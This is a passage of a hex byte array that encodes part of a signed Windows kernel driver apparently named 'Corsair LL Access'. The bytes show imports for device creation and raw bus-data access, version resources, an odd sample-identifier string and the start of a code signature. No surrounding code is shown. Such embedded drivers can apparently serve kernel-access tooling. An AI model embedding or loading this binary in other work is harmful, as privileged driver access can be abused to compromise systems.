0x93, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, - 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x9E, 0x02, 0x49, 0x6F, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, - 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xAA, 0x02, 0x49, 0x6F, 0x44, 0x65, - 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, - 0xAC, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, - 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, - 0xBF, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, - 0xED, 0x02, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x6F, 0x72, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, - 0x64, 0x00, 0xBB, 0x0A, 0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70, 0x65, 0x63, - 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, - 0x00, 0x00, 0xD9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, - 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, - 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x19, 0x00, 0x48, 0x61, - 0x6C, 0x47, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, - 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x3D, 0x00, 0x48, 0x61, - 0x6C, 0x53, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, - 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x48, 0x41, 0x4C, 0x2E, - 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x80, - 0x10, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xA0, 0x00, 0x00, 0x80, 0x50, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x09, 0x04, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x09, 0x04, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, - 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE8, 0x60, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x52, 0x00, 0x45, 0x00, 0x53, 0x00, - 0x4E, 0x00, 0x41, 0x00, 0x4D, 0x00, 0x45, 0x00, 0x53, 0x41, 0x4D, 0x50, - 0x4C, 0x45, 0x5F, 0x49, 0x44, 0x45, 0x4E, 0x54, 0x49, 0x46, 0x49, 0x45, - 0x52, 0x7B, 0x64, 0x64, 0x33, 0x38, 0x66, 0x37, 0x66, 0x63, 0x2D, 0x64, - 0x37, 0x62, 0x64, 0x2D, 0x34, 0x38, 0x38, 0x62, 0x2D, 0x39, 0x32, 0x34, - 0x32, 0x2D, 0x37, 0x64, 0x38, 0x37, 0x35, 0x34, 0x63, 0x64, 0x65, 0x38, - 0x30, 0x64, 0x7D, 0x00, 0x40, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, - 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, - 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, - 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x3F, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x03, 0x00, 0x00, 0x00, - 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9E, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, - 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, - 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, - 0x7A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, - 0x39, 0x00, 0x30, 0x00, 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x4A, 0x00, 0x15, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, - 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, - 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, - 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x12, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x33, 0x00, - 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, - 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, - 0x20, 0x00, 0x28, 0x00, 0x63, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x31, 0x00, 0x39, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x41, 0x00, - 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, - 0x68, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x72, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4F, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, - 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, - 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x44, 0x00, 0x12, 0x00, - 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, - 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, - 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x4C, 0x00, - 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x73, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, - 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, - 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x08, 0xA1, - 0xD8, 0xA1, 0xF0, 0xA1, 0xF8, 0xA1, 0x00, 0xA2, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x24, 0x00, 0x00, - 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x24, 0xCC, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x24, 0xBD, 0x30, - 0x82, 0x24, 0xB9, 0x02, 0x01, 0x01, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, - 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, - 0x5C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, - 0x04, 0xA0, 0x4E, 0x30, 0x4C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, - 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, - 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, - 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, - 0x20, 0xE4, 0xAC, 0x5C, 0x7F, 0xBB, 0x41, 0xEE, 0x98, 0x80, 0x29, 0xB2, - 0x7D, 0x8B, 0x6B, 0xE5, 0x74, 0x72, 0x56, 0x89, 0xFD, 0x13, 0x65, 0xF5, - 0xA5, 0x6F, 0x5A, 0x12, 0xD9, 0x12, 0x0F, 0x86, 0xC6, 0xA0, 0x82, 0x0D, - 0xD4, 0x30, 0x82, 0x06, 0x7C, 0x30, 0x82, 0x04, 0x64, 0xA0, 0x03, 0x02, - 0x01, 0x02, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, 0x79, 0xA3, - 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, - 0x05, 0x00, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, - 0x55, 